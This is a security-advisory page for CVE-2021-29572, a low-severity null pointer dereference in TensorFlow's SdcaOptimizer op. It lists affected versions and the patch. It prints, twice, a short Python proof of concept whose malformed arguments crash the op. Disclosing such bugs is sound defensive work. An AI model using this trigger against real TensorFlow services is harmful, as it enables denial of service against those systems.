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Severe, 6 weeks1496Projects326

1496 severe, 6 weeks · 326 projects

TensorFlowGHSA-5gqf-456p-4836

Reference binding to nullptr in `SdcaOptimizer`

TensorFlow

CVE-2021-29572 · Published May 21, 2021 · updated Jul 8, 2026

Low2.5
Fix: upgrade to 2.1.4 or later (4 fixed versions below)
GitHub advisory

Impact

The implementation of tf.raw_ops.SdcaOptimizer triggers undefined behavior due to dereferencing a null pointer:

```python

import tensorflow as tf

sparse_example_indices = [tf.constant((0), dtype=tf.int64), tf.constant((0), dtype=tf.int64)]

sparse_feature_indices = [tf.constant([], shape=[0, 0, 0, 0], dtype=tf.int64), tf.constant((0), dtype=tf.int64)]

sparse_feature_values = []

dense_features = []

dense_weights = []

example_weights = tf.constant((0.0), dtype=tf.float32)

example_labels = tf.constant((0.0), dtype=tf.float32)

sparse_indices = [tf.constant((0), dtype=tf.int64), tf.constant((0), dtype=tf.int64)]

sparse_weights = [tf.constant((0.0), dtype=tf.float32), tf.constant((0.0), dtype=tf.float32)]

example_state_data = tf.constant([0.0, 0.0, 0.0, 0.0], shape=[1, 4], dtype=tf.float32)

tf.raw_ops.SdcaOptimizer(

sparse_example_indices=sparse_example_indices,

sparse_feature_indices=sparse_feature_indices,

sparse_feature_values=sparse_feature_values, dense_features=dense_features,

example_weights=example_weights, example_labels=example_labels,

sparse_indices=sparse_indices, sparse_weights=sparse_weights,

dense_weights=dense_weights, example_state_data=example_state_data,

loss_type="logistic_loss", l1=0.0, l2=0.0, num_loss_partitions=1,

num_inner_iterations=1, adaptative=False)

`

The...

Affected versions

PackageAffectedFixed in
tensorflow
PyPI
< 2.1.42.1.4
>= 2.2.0, < 2.2.32.2.3
>= 2.3.0, < 2.3.32.3.3
>= 2.4.0, < 2.4.22.4.2
Details and references

### Impact The implementation of `tf.raw_ops.SdcaOptimizer` triggers undefined behavior due to dereferencing a null pointer: ```python import tensorflow as tf sparse_example_indices = [tf.constant((0), dtype=tf.int64), tf.constant((0), dtype=tf.int64)] sparse_feature_indices = [tf.constant([], shape=[0, 0, 0, 0], dtype=tf.int64), tf.constant((0), dtype=tf.int64)] sparse_feature_values = [] dense_features = [] dense_weights = [] example_weights = tf.constant((0.0), dtype=tf.float32) example_labels = tf.constant((0.0), dtype=tf.float32) sparse_indices = [tf.constant((0), dtype=tf.int64), tf.constant((0), dtype=tf.int64)] sparse_weights = [tf.constant((0.0), dtype=tf.float32), tf.constant((0.0), dtype=tf.float32)] example_state_data = tf.constant([0.0, 0.0, 0.0, 0.0], shape=[1, 4], dtype=tf.float32) tf.raw_ops.SdcaOptimizer( sparse_example_indices=sparse_example_indices, sparse_feature_indices=sparse_feature_indices, sparse_feature_values=sparse_feature_values, dense_features=dense_features, example_weights=example_weights, example_labels=example_labels, sparse_indices=sparse_indices, sparse_weights=sparse_weights, dense_weights=dense_weights, example_state_data=example_state_data, loss_type="logistic_loss", l1=0.0, l2=0.0, num_loss_partitions=1, num_inner_iterations=1, adaptative=False) ``` The [implementation](https://github.com/tensorflow/tensorflow/blob/60a45c8b6192a4699f2e2709a2645a751d435cc3/tensorflow/core/kernels/sdca_internal.cc) does not validate that the user supplied arguments satisfy all [constraints expected by the op](https://www.tensorflow.org/api_docs/python/tf/raw_ops/SdcaOptimizer). ### Patches We have patched the issue in GitHub commit [f7cc8755ac6683131fdfa7a8a121f9d7a9dec6fb](https://github.com/tensorflow/tensorflow/commit/f7cc8755ac6683131fdfa7a8a121f9d7a9dec6fb). The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range. ### For more information Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions. ### Attribution This vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.

CVSS 3.1
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L
Severity from
GitHub (reviewed advisory)
Weakness
CWE-476
Also known as
BIT-tensorflow-2021-29572, CVE-2021-29572, PYSEC-2021-209, PYSEC-2021-500, PYSEC-2021-698

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